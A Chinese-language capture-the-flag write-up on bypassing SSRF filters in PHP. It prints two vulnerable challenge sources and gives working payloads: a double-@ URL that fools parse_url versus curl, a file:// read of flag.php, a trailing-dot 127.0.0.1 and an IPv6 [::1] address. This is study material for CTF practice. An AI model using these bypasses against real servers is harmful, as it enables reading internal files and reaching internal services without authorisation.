ssrf绕过记录
第一道题来自2018 上海市大学生网络安全大赛线上赛web01
if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.baidu.com') { var_dump(parse_url($_POST['url'])['host']); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_POST['url']); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec($curl); echo $content; curl_close($curl); $filename='download/'.rand().';img1.jpg'; file_put_contents($filename,$content); echo $_POST['url']; $img="<img src=\"".$filename."\"/>"; echo $img; } else { echo "you need post url: http://www.ichunqiu.com"; }
对协议没有限制,可以用file协议
payload:
url=file://@127.0.0.1:80@www.ichunqiu.com/./..//var/www/html/flag.php
parse_url 取出的Host是www.ichunqiu.com绕过了if判断
curl解析的时候host则是127.0.0.1,通过file协议读取flag
另一道题与这个类似,只不过通过http协议读取flag
index.php
<?php function check_inner_ip($url) { $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); if (!$match_result){ die('url fomat error1'); } try{ $url_parse=parse_url($url); // var_dump($url); } catch(Exception $e){ die('url fomat error2'); } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24; } function safe_request_url($url) { if (check_inner_ip($url)){ echo $url.' is inner ip'; } else{ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']){ safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } else{ highlight_file(__file__); } //flag in flag.php ?>
flag.php
<?php if (! function_exists('real_ip') ) { function real_ip() { $ip = $_SERVER['REMOTE_ADDR']; if (is_null($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) { foreach ($matches[0] AS $xip) { if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) { $ip = $xip; break; } } } elseif (is_null($ip) && isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (is_null($ip) && isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif (is_null($ip) && isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) { $ip = $_SERVER['HTTP_X_REAL_IP']; } return $ip; } } $rip = real_ip(); if($rip === "127.0.0.1") die("HRCTF{SSRF_can_give_you_flag}"); else die("You IP is {$rip} not 127.0.0.1"); ?>
payload1:http://121.195.170.191/ctf/day16/index.php?url=http://@127.0.0.1:80@www.freebuf.com/ctf/day16/flag.php
payload2:http://121.195.170.191/ctf/day16/index.php?url=http://127.0.0.1./ctf/day16/flag.php
ip2long('0.0.0.0')>>24 == $int_ip>>24;也得注释掉,127.0.0.1.gethostbyname解析不了,$int_ip为false,真好和ip2long('0.0.0.0')得到的结果相同了。
paload3:通过ipv6绕过,http://[::1]/
gethostbyname不能解析ipv6地址,$int_ip为false。ip2long('0.0.0.0')>>24 == $int_ip>>24;注释掉这个语句就能绕过检查。
$hostname=$url_parse['host']; $ip=gethostbyname($hostname); var_dump($ip); //[::1] $int_ip=ip2long($ip); var_dump($int_ip); //返回false // var_dump($int_ip); // var_dump(ip2long('0.0.0.0')); // return 0; return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 ;//|| ip2long('0.0.0.0')>>24 == $int_ip>>24;
参考链接:
http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/
https://xz.aliyun.com/t/3178#toc-0
https://xz.aliyun.com/t/3150